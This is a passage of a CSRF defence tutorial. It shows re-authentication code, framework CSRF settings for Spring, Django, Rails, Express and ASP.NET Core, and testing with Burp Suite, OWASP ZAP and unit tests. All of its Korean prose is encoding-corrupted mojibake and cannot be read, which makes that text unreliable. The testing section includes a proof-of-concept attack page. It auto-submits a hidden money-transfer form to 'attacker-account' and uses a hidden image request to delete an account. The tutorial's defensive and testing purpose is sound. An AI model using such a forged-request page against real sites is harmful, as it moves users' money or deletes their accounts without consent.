- ์ผ๋ถ ํ๋ก์๋ ๋ฐฉํ๋ฒฝ์ด ํค๋๋ฅผ ์ ๊ฑฐํ ์ ์์
- HTTPS โ HTTP ์์ฒญ์์๋ Referer๊ฐ ์ ์ก ์ ๋จ
- ๋ธ๋ผ์ฐ์ ๋ฒ๊ทธ๋ ์ค์ ์ผ๋ก ์ฐํ ๊ฐ๋ฅ์ฑ ์์
๊ฒฐ๋ก : ์ฃผ์ ๋ฐฉ์ด ์๋จ์ด ์๋ ๋ณด์กฐ ์๋จ์ผ๋ก ์ฌ์ฉํ์!
๐ CSRF ๋ฐฉ์ด ๋ฐฉ๋ฒ 6: ์ฌ์ธ์ฆ ์๊ตฌํ๊ธฐ
๋ฏผ๊ฐํ ์์
(๊ณ์ข์ด์ฒด, ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ, ํ์ ํํด ๋ฑ)์๋ ์ถ๊ฐ ์ธ์ฆ์ ์๊ตฌํ๋ ๊ฒ ๊ฐ์ฅ ํ์คํ ๋ฐฉ๋ฒ์ด์ผ ใ
ใ
ใ
์๋ฌด๋ฆฌ CSRF ๊ณต๊ฒฉ์ด ์ฑ๊ณตํด๋ ์ฌ์ฉ์๊ฐ ์ง์ ๋น๋ฐ๋ฒํธ๋ฅผ ์
๋ ฅํ๊ฑฐ๋ OTP๋ฅผ ์
๋ ฅํด์ผ ํ๋ค๋ฉด ๊ณต๊ฒฉ์๋ ๋งํ๊ฒ ๋์ง.
// ๋น๋ฐ๋ฒํธ ์ฌํ์ธ ์๊ตฌ
app.post('/api/delete-account', async (req, res) => {
const { password } = req.body;
const user = await getUserFromSession(req);
// ๋น๋ฐ๋ฒํธ ํ์ธ
const isValid = await bcrypt.compare(password, user.passwordHash);
if (!isValid) {
return res.status(401).json({
error: 'Invalid password'
});
}
// ๊ณ์ ์ญ์ ์งํ
await deleteAccount(user.id);
res.json({ success: true });
});
// OTP ์ธ์ฆ ์๊ตฌ
app.post('/api/transfer', async (req, res) => {
const { to, amount, otpCode } = req.body;
const user = await getUserFromSession(req);
// OTP ๊ฒ์ฆ
const isValidOtp = verifyOTP(user.otpSecret, otpCode);
if (!isValidOtp) {
return res.status(401).json({
error: 'Invalid OTP code'
});
}
// ์ด์ฒด ์งํ
await transferMoney(user.accountId, to, amount);
res.json({ success: true });
});
// ์ด๋ฉ์ผ ํ์ธ ๋งํฌ
app.post('/api/change-email', async (req, res) => {
const { newEmail } = req.body;
const user = await getUserFromSession(req);
// ํ์ธ ํ ํฐ ์์ฑ
const confirmToken = crypto.randomBytes(32).toString('hex');
await saveEmailChangeRequest(user.id, newEmail, confirmToken);
// ์ด๋ฉ์ผ ๋ฐ์ก
await sendConfirmationEmail(newEmail, confirmToken);
res.json({
message: 'Confirmation email sent'
});
});
// ํ์ธ ๋งํฌ ์ฒ๋ฆฌ
app.get('/confirm-email/:token', async (req, res) => {
const { token } = req.params;
const request = await getEmailChangeRequest(token);
if (!request || request.expiresAt < Date.now()) {
return res.status(400).send('Invalid or expired token');
}
// ์ด๋ฉ์ผ ๋ณ๊ฒฝ ์คํ
await updateUserEmail(request.userId, request.newEmail);
await deleteEmailChangeRequest(token);
res.send('Email changed successfully');
});
๐จ ์ฌ์ฉ์ ๊ฒฝํ ๊ณ ๋ คํ๊ธฐ
์ฌ์ธ์ฆ์ ์๊ตฌํ๋ฉด ๋ณด์์ ๊ฐํ๋์ง๋ง ์ฌ์ฉ์ ๊ฒฝํ์ด ๋๋น ์ง ์ ์์ด. ๊ทธ๋์ ๊ท ํ์ ์ ๋ง์ถฐ์ผ ํด:
์ฌ์ธ์ฆ์ด ํ์ํ ๊ฒฝ์ฐ:
- ๊ธ์ ๊ฑฐ๋ (์ด์ฒด, ๊ฒฐ์ , ํ๋ถ)
- ๊ณ์ ์ ๋ณด ๋ณ๊ฒฝ (๋น๋ฐ๋ฒํธ, ์ด๋ฉ์ผ, ์ ํ๋ฒํธ)
- ๊ณ์ ์ญ์ ๋ ์๋น์ค ํํด
- ๊ถํ ๋ณ๊ฒฝ (๊ด๋ฆฌ์ ๊ถํ ๋ถ์ฌ ๋ฑ)
- ๋ฏผ๊ฐํ ๊ฐ์ธ์ ๋ณด ์กฐํ
์ฌ์ธ์ฆ์ด ๊ณผํ ๊ฒฝ์ฐ:
- ํ๋กํ ์ฌ์ง ๋ณ๊ฒฝ
- ๋๋ค์ ๋ณ๊ฒฝ
- ์ผ๋ฐ ๊ฒ์๊ธ ์์ฑ
- ์ค์ ๋ณ๊ฒฝ (์๋ฆผ on/off ๋ฑ)
โ ์ฌ๋ฅ๋ท ๊ฐ์ ํ๋ซํผ์์์ ์ ์ฉ ์์
์ฌ๋ฅ ๊ฑฐ๋ ํ๋ซํผ์ธ ์ฌ๋ฅ๋ท์์๋ ์ด๋ฐ ์์ผ๋ก ์ ์ฉํ ์ ์์ด:
- ์ฌ๋ฅ ๊ตฌ๋งค/๊ฒฐ์ : ๊ฒฐ์ ๋น๋ฐ๋ฒํธ๋ OTP ์๊ตฌ
- ํฌ์ธํธ ์ถ๊ธ: ๋ณธ์ธ ์ธ์ฆ + ์ด๋ฉ์ผ ํ์ธ
- ๊ณ์ข ์ ๋ณด ๋ณ๊ฒฝ: SMS ์ธ์ฆ
- ์ฌ๋ฅ ๋ฑ๋ก/์์ : CSRF ํ ํฐ๋ง์ผ๋ก ์ถฉ๋ถ
- ๋ฆฌ๋ทฐ ์์ฑ: CSRF ํ ํฐ + Captcha (์คํธ ๋ฐฉ์ง)
์ด๋ ๊ฒ ์์
์ ๋ฏผ๊ฐ๋์ ๋ฐ๋ผ ์ฐจ๋ฑ์ ์ผ๋ก ๋ณด์ ์์ค์ ์ ์ฉํ๋ ๊ฒ ์ข์!
โ๏ธ ํ๋ ์์ํฌ๋ณ CSRF ๋ฐฉ์ด ๊ตฌํ
์ค์ ์์๋ ํ๋ ์์ํฌ๊ฐ ์ ๊ณตํ๋ CSRF ๋ณดํธ ๊ธฐ๋ฅ์ ์ฌ์ฉํ๋ ๊ฒ ๊ฐ์ฅ ํธํ๊ณ ์์ ํด. ๊ฐ ํ๋ ์์ํฌ๋ณ๋ก ์ด๋ป๊ฒ ์ค์ ํ๋์ง ์์๋ณด์!
๐ Spring Security (Java)
// Spring Security 6.x ์ค์
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
// CSRF ๋ณดํธ ํ์ฑํ (๊ธฐ๋ณธ๊ฐ)
.csrf(csrf -> csrf
// ์ฟ ํค ๊ธฐ๋ฐ ํ ํฐ ์ ์ฅ์ ์ฌ์ฉ
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
// ํน์ ๊ฒฝ๋ก๋ CSRF ๊ฒ์ฆ ์ ์ธ
.ignoringRequestMatchers("/api/public/**")
)
.authorizeHttpRequests(auth -> auth
.requestMatchers("/api/public/**").permitAll()
.anyRequest().authenticated()
);
return http.build();
}
}
// Controller์์ ํ ํฐ ์ ๋ฌ
@Controller
public class HomeController {
@GetMapping("/")
public String home(Model model, CsrfToken csrfToken) {
// Thymeleaf ํ
ํ๋ฆฟ์ ํ ํฐ ์ ๋ฌ
model.addAttribute("_csrf", csrfToken);
return "index";
}
}
// REST API์ ๊ฒฝ์ฐ
@RestController
public class ApiController {
@PostMapping("/api/data")
public ResponseEntity<?> createData(@RequestBody DataDto data) {
// Spring Security๊ฐ ์๋์ผ๋ก CSRF ๊ฒ์ฆ
// ํ ํฐ์ด ์๊ฑฐ๋ ์๋ชป๋๋ฉด 403 Forbidden ๋ฐํ
return ResponseEntity.ok(service.create(data));
}
}
Thymeleaf ํ ํ๋ฆฟ์์๋:
<!-- ํผ์ ์๋์ผ๋ก CSRF ํ ํฐ ์ถ๊ฐ -->
<form th:action="@{/transfer}" method="post">
<!-- Thymeleaf๊ฐ ์๋์ผ๋ก hidden input ์ถ๊ฐ -->
<input type="text" name="to" />
<input type="number" name="amount" />
<button type="submit">์ด์ฒด</button>
</form>
<!-- JavaScript์์ ์ฌ์ฉ -->
<script th:inline="javascript">
const token = /*[[${_csrf.token}]]*/ '';
const header = /*[[${_csrf.headerName}]]*/ '';
fetch('/api/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
[header]: token
},
body: JSON.stringify(data)
});
</script>
๐ Django (Python)
# settings.py
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware', # CSRF ๋ฏธ๋ค์จ์ด
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
# CSRF ์ค์
CSRF_COOKIE_SECURE = True # HTTPS์์๋ง
CSRF_COOKIE_HTTPONLY = False # JavaScript ์ ๊ทผ ํ์ฉ
CSRF_COOKIE_SAMESITE = 'Lax'
CSRF_TRUSTED_ORIGINS = [
'https://myapp.com',
'https://www.myapp.com'
]
# views.py
from django.views.decorators.csrf import csrf_protect, csrf_exempt
from django.shortcuts import render
@csrf_protect # ๋ช
์์ ์ผ๋ก ๋ณดํธ (๊ธฐ๋ณธ๊ฐ)
def transfer_view(request):
if request.method == 'POST':
to = request.POST.get('to')
amount = request.POST.get('amount')
# ์ฒ๋ฆฌ ๋ก์ง
return JsonResponse({'success': True})
return render(request, 'transfer.html')
# API ๋ทฐ์์ CSRF ์ ์ธ (JWT ๋ฑ ๋ค๋ฅธ ์ธ์ฆ ์ฌ์ฉ ์)
@csrf_exempt
def api_view(request):
# API ๋ก์ง
pass
# ๋๋ ํด๋์ค ๊ธฐ๋ฐ ๋ทฐ
from django.views import View
from django.utils.decorators import method_decorator
@method_decorator(csrf_protect, name='dispatch')
class TransferView(View):
def post(self, request):
# ์ฒ๋ฆฌ ๋ก์ง
pass
Django ํ ํ๋ฆฟ์์:
<!-- ํผ์ CSRF ํ ํฐ ์ถ๊ฐ -->
<form method="post" action="{% url 'transfer' %}">
{% csrf_token %}
<input type="text" name="to" />
<input type="number" name="amount" />
<button type="submit">์ด์ฒด</button>
</form>
<!-- JavaScript์์ ์ฌ์ฉ -->
<script>
function getCookie(name) {
let cookieValue = null;
if (document.cookie && document.cookie !== '') {
const cookies = document.cookie.split(';');
for (let i = 0; i < cookies.length; i++) {
const cookie = cookies[i].trim();
if (cookie.substring(0, name.length + 1) === (name + '=')) {
cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
break;
}
}
}
return cookieValue;
}
const csrftoken = getCookie('csrftoken');
fetch('/api/transfer/', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRFToken': csrftoken
},
body: JSON.stringify({
to: 'recipient',
amount: 10000
})
});
</script>
๐ Ruby on Rails
# config/application.rb
module MyApp
class Application < Rails::Application
# CSRF ๋ณดํธ ํ์ฑํ (๊ธฐ๋ณธ๊ฐ)
config.action_controller.default_protect_from_forgery = true
end
end
# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
# ๋ชจ๋ ์ปจํธ๋กค๋ฌ์ CSRF ๋ณดํธ ์ ์ฉ
protect_from_forgery with: :exception
# ๋๋ null_session (API ์๋ฒ์ ๊ฒฝ์ฐ)
# protect_from_forgery with: :null_session
end
# app/controllers/transfers_controller.rb
class TransfersController < ApplicationController
# CSRF ๋ณดํธ ์ ์ธ (ํน์ ์ก์
๋ง)
skip_before_action :verify_authenticity_token, only: [:webhook]
def create
@transfer = Transfer.new(transfer_params)
if @transfer.save
render json: { success: true }
else
render json: { errors: @transfer.errors }, status: :unprocessable_entity
end
end
def webhook
# ์ธ๋ถ ์๋น์ค์ ์นํ
์ฒ๋ฆฌ (CSRF ๊ฒ์ฆ ์ ์ธ)
end
private
def transfer_params
params.require(:transfer).permit(:to, :amount)
end
end
Rails ๋ทฐ์์:
<!-- ERB ํ
ํ๋ฆฟ -->
<%= form_with url: transfers_path, method: :post do |f| %>
<!-- Rails๊ฐ ์๋์ผ๋ก CSRF ํ ํฐ ์ถ๊ฐ -->
<%= f.text_field :to %>
<%= f.number_field :amount %>
<%= f.submit "์ด์ฒด" %>
<% end %>
<!-- JavaScript์์ ์ฌ์ฉ -->
<script>
const token = document.querySelector('meta[name="csrf-token"]').content;
fetch('/transfers', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': token
},
body: JSON.stringify({
transfer: {
to: 'recipient',
amount: 10000
}
})
});
</script>
โก Express.js (Node.js)
// csurf ํจํค์ง ์ฌ์ฉ
const express = require('express');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
const app = express();
// ๋ฏธ๋ค์จ์ด ์ค์
app.use(cookieParser());
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
// CSRF ๋ณดํธ ์ค์
const csrfProtection = csrf({
cookie: {
httpOnly: false, // JavaScript ์ ๊ทผ ํ์ฉ
secure: true, // HTTPS๋ง
sameSite: 'lax'
}
});
// ๋ชจ๋ ๋ผ์ฐํธ์ ์ ์ฉ
app.use(csrfProtection);
// ํ ํฐ์ ๋ทฐ์ ์ ๋ฌ
app.get('/transfer', (req, res) => {
res.render('transfer', {
csrfToken: req.csrfToken()
});
});
// POST ์์ฒญ ์ฒ๋ฆฌ
app.post('/transfer', (req, res) => {
// csurf๊ฐ ์๋์ผ๋ก ํ ํฐ ๊ฒ์ฆ
// ์คํจ ์ 403 ์๋ฌ ๋ฐ์
const { to, amount } = req.body;
transferMoney(req.session.userId, to, amount)
.then(() => res.json({ success: true }))
.catch(err => res.status(500).json({ error: err.message }));
});
// ์๋ฌ ํธ๋ค๋ฌ
app.use((err, req, res, next) => {
if (err.code === 'EBADCSRFTOKEN') {
res.status(403).json({
error: 'Invalid CSRF token'
});
} else {
next(err);
}
});
๐ท ASP.NET Core (C#)
// Startup.cs ๋๋ Program.cs
public class Startup
{
public void ConfigureServices(IServiceCollection services)
{
services.AddControllersWithViews();
// CSRF ๋ณดํธ ์ค์
services.AddAntiforgery(options =>
{
options.HeaderName = "X-CSRF-TOKEN";
options.Cookie.Name = "CSRF-TOKEN";
options.Cookie.HttpOnly = false;
options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
options.Cookie.SameSite = SameSiteMode.Lax;
});
}
}
// Controller
[AutoValidateAntiforgeryToken] // ๋ชจ๋ ์ก์
์ ์๋ ์ ์ฉ
public class TransferController : Controller
{
[HttpGet]
public IActionResult Index()
{
return View();
}
[HttpPost]
[ValidateAntiForgeryToken] // ๋ช
์์ ๊ฒ์ฆ
public IActionResult Transfer(TransferModel model)
{
if (ModelState.IsValid)
{
// ์ฒ๋ฆฌ ๋ก์ง
return Json(new { success = true });
}
return BadRequest(ModelState);
}
[HttpPost]
[IgnoreAntiforgeryToken] // ํน์ ์ก์
๋ง ์ ์ธ
public IActionResult Webhook([FromBody] WebhookData data)
{
// ์นํ
์ฒ๋ฆฌ
return Ok();
}
}
// API Controller
[ApiController]
[Route("api/[controller]")]
public class TransferApiController : ControllerBase
{
private readonly IAntiforgery _antiforgery;
public TransferApiController(IAntiforgery antiforgery)
{
_antiforgery = antiforgery;
}
[HttpGet("token")]
public IActionResult GetToken()
{
var tokens = _antiforgery.GetAndStoreTokens(HttpContext);
return Ok(new { token = tokens.RequestToken });
}
[HttpPost]
[ValidateAntiForgeryToken]
public IActionResult Transfer([FromBody] TransferModel model)
{
// ์ฒ๋ฆฌ ๋ก์ง
return Ok(new { success = true });
}
}
Razor ๋ทฐ์์:
@* Razor ํ์ด์ง *@
<form asp-action="Transfer" method="post">
@* ASP.NET Core๊ฐ ์๋์ผ๋ก ํ ํฐ ์ถ๊ฐ *@
<input type="text" name="To" />
<input type="number" name="Amount" />
<button type="submit">์ด์ฒด</button>
</form>
@* JavaScript์์ ์ฌ์ฉ *@
<script>
// ํ ํฐ ๊ฐ์ ธ์ค๊ธฐ
fetch('/api/transfer/token')
.then(res => res.json())
.then(data => {
const token = data.token;
// API ์์ฒญ
return fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-TOKEN': token
},
body: JSON.stringify({
to: 'recipient',
amount: 10000
})
});
});
</script>
๐งช CSRF ์ทจ์ฝ์ ํ ์คํธ ๋ฐฉ๋ฒ
๊ฐ๋ฐ์ด ๋๋ฌ์ผ๋ฉด ์ค์ ๋ก CSRF ๋ฐฉ์ด๊ฐ ์ ๋๊ณ ์๋์ง ํ ์คํธํด๋ด์ผ๊ฒ ์ง? ใ ใ ใ ์ฌ๋ฌ ๊ฐ์ง ๋ฐฉ๋ฒ์ด ์์ด.
๐จ ์๋ ํ ์คํธ
๊ฐ์ฅ ๊ฐ๋จํ ๋ฐฉ๋ฒ์ ์ง์ ์ ์ฑ HTML ํ์ด์ง๋ฅผ ๋ง๋ค์ด์ ํ ์คํธํ๋ ๊ฑฐ์ผ:
<!-- csrf-test.html -->
<!DOCTYPE html>
<html>
<head>
<title>CSRF Test</title>
</head>
<body>
<h1>CSRF ๊ณต๊ฒฉ ํ
์คํธ</h1>
<!-- ์๋ ์ ์ถ ํผ -->
<form id="attackForm" action="https://target-site.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker-account" />
<input type="hidden" name="amount" value="1000000" />
</form>
<script>
// ํ์ด์ง ๋ก๋ ์ ์๋ ์ ์ถ
document.getElementById('attackForm').submit();
</script>
<!-- ๋๋ ์ด๋ฏธ์ง ํ๊ทธ๋ก GET ์์ฒญ -->
<img src="https://target-site.com/delete-account?confirm=yes"
style="display:none" />
</body>
</html>
ํ
์คํธ ์ ์ฐจ:
1. ๋์ ์ฌ์ดํธ์ ๋ก๊ทธ์ธ
2. ์ ํญ์์ ์ HTML ํ์ผ ์ด๊ธฐ
3. ์์ฒญ์ด ์ฑ๊ณตํ๋์ง ํ์ธ
4. ์ฑ๊ณตํ๋ฉด CSRF ์ทจ์ฝ์ ์กด์ฌ!
๐ ๏ธ Burp Suite๋ฅผ ์ด์ฉํ ํ ์คํธ
์ ๋ฌธ์ ์ธ ๋ณด์ ํ ์คํธ ๋๊ตฌ์ธ Burp Suite๋ฅผ ์ฌ์ฉํ๋ฉด ๋ ์ฒด๊ณ์ ์ผ๋ก ํ ์คํธํ ์ ์์ด:
๐ก Burp Suite CSRF ํ ์คํธ ๋ฐฉ๋ฒ
1. Proxy ํญ์์ ์์ฒญ ์บก์ฒ
- ์ ์์ ์ธ POST ์์ฒญ์ Intercept
- "Send to Repeater" ํด๋ฆญ
2. CSRF ํ ํฐ ์ ๊ฑฐ
- Repeater ํญ์์ CSRF ํ ํฐ ํ๋ผ๋ฏธํฐ ์ญ์
- ๋๋ ํ ํฐ ๊ฐ์ ์์๋ก ๋ณ๊ฒฝ
- "Send" ํด๋ฆญํ์ฌ ์์ฒญ ์ ์ก
3. ์๋ต ํ์ธ
- 200 OK ์๋ต์ด ์ค๋ฉด ์ทจ์ฝํจ
- 403 Forbidden์ด ์ค๋ฉด ๋ฐฉ์ด ์ฑ๊ณต
4. CSRF PoC Generator ์ฌ์ฉ
- ์์ฒญ์ ์ฐํด๋ฆญ โ "Engagement tools" โ "Generate CSRF PoC"
- ์๋์ผ๋ก ๊ณต๊ฒฉ HTML ์์ฑ๋จ
- ๋ธ๋ผ์ฐ์ ์์ ํ
์คํธ
๐ค ์๋ํ ๋๊ตฌ
# OWASP ZAP์ ์ด์ฉํ ์๋ ์ค์บ
# ZAP API ์ฌ์ฉ
import requests
zap_api_key = 'your-api-key'
target_url = 'https://target-site.com'
# ์คํ์ด๋๋ก ์ฌ์ดํธ ํฌ๋กค๋ง
requests.get(f'http://localhost:8080/JSON/spider/action/scan/',
params={'url': target_url, 'apikey': zap_api_key})
# Active Scan ์คํ
requests.get(f'http://localhost:8080/JSON/ascan/action/scan/',
params={'url': target_url, 'apikey': zap_api_key})
# ๊ฒฐ๊ณผ ํ์ธ
alerts = requests.get(f'http://localhost:8080/JSON/core/view/alerts/',
params={'baseurl': target_url, 'apikey': zap_api_key})
# CSRF ์ทจ์ฝ์ ํํฐ๋ง
csrf_alerts = [alert for alert in alerts.json()['alerts']
if 'CSRF' in alert['alert']]
for alert in csrf_alerts:
print(f"์ทจ์ฝ์ ๋ฐ๊ฒฌ: {alert['url']}")
print(f"์ํ๋: {alert['risk']}")
print(f"์ค๋ช
: {alert['desc']}")
๐งช ๋จ์ ํ ์คํธ ์์ฑ
๊ฐ๋ฐ ๋จ๊ณ์์๋ถํฐ CSRF ๋ฐฉ์ด๋ฅผ ํ ์คํธํ๋ ์ฝ๋๋ฅผ ์์ฑํ์:
// Jest + Supertest (Node.js)
const request = require('supertest');
const app = require('../app');
describe('CSRF Protection', () => {
let csrfToken;
let cookies;
beforeEach(async () => {
// ํ ํฐ ๊ฐ์ ธ์ค๊ธฐ
const res = await request(app).get('/transfer');
csrfToken = res.body.csrfToken;
cookies = res.headers['set-cookie'];
});
test('ํ ํฐ ์์ด POST ์์ฒญ ์ 403 ๋ฐํ', async () => {
const res = await request(app)
.post('/transfer')
.set('Cookie', cookies)
.send({ to: 'test', amount: 1000 });
expect(res.status).toBe(403);
});
test('์๋ชป๋ ํ ํฐ์ผ๋ก POST ์์ฒญ ์ 403 ๋ฐํ', async () => {
const res = await request(app)
.post('/transfer')
.set('Cookie', cookies)
.set('X-CSRF-Token', 'invalid-token')
.send({ to: 'test', amount: 1000 });
expect(res.status).toBe(403);
});
test('์ฌ๋ฐ๋ฅธ ํ ํฐ์ผ๋ก POST ์์ฒญ ์ ์ฑ๊ณต', async () => {
const res = await request(app)
.post('/transfer')
.set('Cookie', cookies)
.set('X-CSRF-Token', csrfToken)
.send({ to: 'test', amount: 1000 });
expect(res.status).toBe(200);
expect(res.body.success).toBe(true);
});
});
// JUnit (Spring Boot)
@SpringBootTest
@AutoConfigureMockMvc
class CsrfProtectionTest {
@Autowired
private MockMvc mockMvc;
@Test
void testPostWithoutCsrfToken_shouldReturn403() throws Exception {
mockMvc.perform(post("/transfer")
.contentType(MediaType.APPLICATION_JSON)
.content("{\"to\":\"test\",\"amount\":1000}"))
.andExpect(status().isForbidden());
}
@Test
void testPostWithInvalidCsrfToken_shouldReturn403() throws Exception {
mockMvc.perform(post("/transfer")
.with(csrf().useInvalidToken())
.contentType(MediaType.APPLICATION_JSON)
.content("{\"to\":\"test\",\"amount\":1000}"))
.andExpect(status().isForbidden());
}
@Test
void testPostWithValidCsrfToken_shouldSucceed() throws Exception {
mockMvc.perform(post("/transfer")
.with(csrf())
.contentType(MediaType.APPLICATION_JSON)
.content("{\"to\":\"test\",\"amount\":1000}"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.success").value(true));
}
}
๐จ ์ค์ ์ฌ๋ก์ ๊ตํ
์ด๋ก ๋ง ์๋ฉด ๋ญํด ใ ใ ใ ์ค์ ๋ก ์ด๋ค ์ฌ๊ณ ๋ค์ด ์์๋์ง ์์์ผ ๊ฒฝ๊ฐ์ฌ์ด ์๊ธฐ์ง.
๐ฐ ์ ๋ช ํ CSRF ๊ณต๊ฒฉ ์ฌ๋ก
โ ๏ธ ์ฌ๋ก 1: YouTube (2008)
YouTube์์ CSRF ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋์ด. ๊ณต๊ฒฉ์๊ฐ ์
์์ ์ธ ๋งํฌ๋ฅผ ๋ง๋ค์ด์ ์ฌ์ฉ์๊ฐ ํด๋ฆญํ๋ฉด:
- ์ฌ์ฉ์ ๋ชจ๋ฅด๊ฒ ๋์์์ ์ข์์ ์ฒ๋ฆฌ
- ํน์ ์ฑ๋์ ๊ตฌ๋
- ๋๊ธ ์์ฑ
- ์น๊ตฌ ์ถ๊ฐ
์ด๊ฑธ ์ด์ฉํด์ ์คํธ ๋์์์ ์กฐํ์์ ์ข์์๋ฅผ ์กฐ์ํ๋ ์ฌ๊ฑด์ด ๋ฐ์ํ์ด. YouTube๋ ์ฆ์ CSRF ํ ํฐ์ ๋์
ํด์ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ์ง.
โ ๏ธ ์ฌ๋ก 2: Netflix (2006)
Netflix DVD ๋์ฌ ์๋น์ค์์ CSRF ์ทจ์ฝ์ ๋ฐ๊ฒฌ:
- ์ฌ์ฉ์ ๋ชจ๋ฅด๊ฒ DVD ๋์ฌ ๋ชฉ๋ก ๋ณ๊ฒฝ
- ๋ฐฐ์ก ์ฃผ์ ๋ณ๊ฒฝ
- ๊ณ์ ์ ๋ณด ์์
๊ณต๊ฒฉ์๊ฐ ์ฌ์ฉ์์ ๋์ฌ ๋ชฉ๋ก์ ์๊ธฐ๊ฐ ์ํ๋ DVD๋ฅผ ์ถ๊ฐํ๊ณ , ๋ฐฐ์ก ์ฃผ์๋ฅผ ์๊ธฐ ์ฃผ์๋ก ๋ฐ๊ฟ์ ๋ฌด๋ฃ๋ก DVD๋ฅผ ๋ฐ์๋ณผ ์ ์์์ด. ์ฌ๊ฐํ ๊ธ์ ์ ํผํด๋ก ์ด์ด์ง ์ ์์๋ ์ผ์ด์ค์ผ.
โ ๏ธ ์ฌ๋ก 3: ING Direct (2007)
๋ค๋๋๋ ์ํ ING Direct์์ ๋ฐ๊ฒฌ๋ CSRF ์ทจ์ฝ์ :
- ์ฌ์ฉ์ ๋ชจ๋ฅด๊ฒ ๊ณ์ข์ด์ฒด ์คํ
- ์์ทจ์ธ ์ ๋ณด ๋ณ๊ฒฝ
- ์ด์ฒด ํ๋ ๋ณ๊ฒฝ
์ด๊ฑด ์ง์ง ์ํํ ์ผ์ด์ค์์ด. ์ค์ ๊ธ์ ์ ํผํด๊ฐ ๋ฐ์ํ ์ ์์๊ฑฐ๋ . ๋คํํ ๋๊ท๋ชจ ๊ณต๊ฒฉ์ผ๋ก ์ด์ด์ง๊ธฐ ์ ์ ๋ฐ๊ฒฌ๋์ด ํจ์น๋์ด.
๐ก ์ฌ๋ก์์ ๋ฐฐ์ฐ๋ ๊ตํ
์ด๋ฐ ์ฌ๋ก๋ค์ ๋ณด๋ฉด ๋ช ๊ฐ์ง ๊ณตํต์ ์ด ์์ด:
โ ํต์ฌ ๊ตํ
1. ๋ชจ๋ ์ํ ๋ณ๊ฒฝ ์์
์ CSRF ๋ฐฉ์ด ํ์
- ๋จ์ํ ์ข์์๋ถํฐ ๊ธ์ ๊ฑฐ๋๊น์ง ๋ชจ๋ ๋ณดํธํด์ผ ํจ
- "์ด ์ ๋๋ ๊ด์ฐฎ๊ฒ ์ง" ํ๋ ์๊ฐ์ด ๊ฐ์ฅ ์ํ
2. GET ์์ฒญ์ผ๋ก ์ํ ๋ณ๊ฒฝ ๊ธ์ง
- GET์ ์กฐํ๋ง, POST/PUT/DELETE๋ก ์ํ ๋ณ๊ฒฝ
- RESTful ์์น ์ค์๊ฐ ๋ณด์์๋ ๋์๋จ
3. ๋ฏผ๊ฐํ ์์
์ ์ถ๊ฐ ์ธ์ฆ ์๊ตฌ
- ๊ณ์ข์ด์ฒด, ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ ๋ฑ์ ์ฌ์ธ์ฆ ํ์
- ๋ค์ธต ๋ฐฉ์ด ์ ๋ต ์ ์ฉ
4. ์ ๊ธฐ์ ์ธ ๋ณด์ ๊ฐ์ฌ
- ์๋ก์ด ๊ธฐ๋ฅ ์ถ๊ฐ ์๋ง๋ค CSRF ๋ฐฉ์ด ํ์ธ
- ์๋ํ๋ ๋ณด์ ํ
์คํธ ๋์
5. ํ๋ ์์ํฌ ๊ธฐ๋ณธ ๋ณด์ ๊ธฐ๋ฅ ํ์ฉ
- ์ง์ ๊ตฌํ๋ณด๋ค๋ ๊ฒ์ฆ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฌ์ฉ
- ๋ณด์ ์
๋ฐ์ดํธ ๊พธ์คํ ์ ์ฉ
๐ CSRF vs XSS: ์ฐจ์ด์ ๊ณผ ๊ด๊ณ
๋ง์ ์ฌ๋๋ค์ด CSRF์ XSS๋ฅผ ํท๊ฐ๋ ค ํ๋๋ฐ ใ ใ ใ ๋์ ์์ ํ ๋ค๋ฅธ ๊ณต๊ฒฉ์ด์ผ. ํ์ง๋ง ์๋ก ์ฐ๊ด๋์ด ์๊ธฐ๋ ํด.
| ๊ตฌ๋ถ | CSRF | XSS |
|---|---|---|
| ๊ณต๊ฒฉ ๋์ | ์ฌ์ฉ์์ ๊ถํ ์ ์ฉ | ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ |
| ๊ณต๊ฒฉ ๋ฐฉ๋ฒ | ์์กฐ๋ ์์ฒญ ์ ์ก | ์ ์ฑ ์คํฌ๋ฆฝํธ ์คํ |
| ํ์ ์กฐ๊ฑด | ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธ๋ ์ํ | ์ ๋ ฅ๊ฐ ๊ฒ์ฆ ๋ฏธํก |
| ๊ณต๊ฒฉ์ ๋ฅ๋ ฅ | ์์ฒญ๋ง ๋ณด๋ผ ์ ์์ (์๋ต ๋ชป ๋ด) | ๋ชจ๋ JavaScript ์คํ ๊ฐ๋ฅ |
| ๋ฐฉ์ด ๋ฐฉ๋ฒ | CSRF ํ ํฐ, SameSite ์ฟ ํค | ์ ๋ ฅ๊ฐ ๊ฒ์ฆ, CSP, HttpOnly ์ฟ ํค |
๐ XSS๋ฅผ ํตํ CSRF ๋ฐฉ์ด ์ฐํ
์ฌ๊ธฐ์ ์ค์ํ ํฌ์ธํธ! XSS ์ทจ์ฝ์ ์ด ์์ผ๋ฉด CSRF ๋ฐฉ์ด๊ฐ ๋ฌด๋ ฅํ๋ ์ ์์ด ๐ฑ
์๋ํ๋ฉด XSS๋ก JavaScript๋ฅผ ์คํํ ์ ์์ผ๋ฉด:
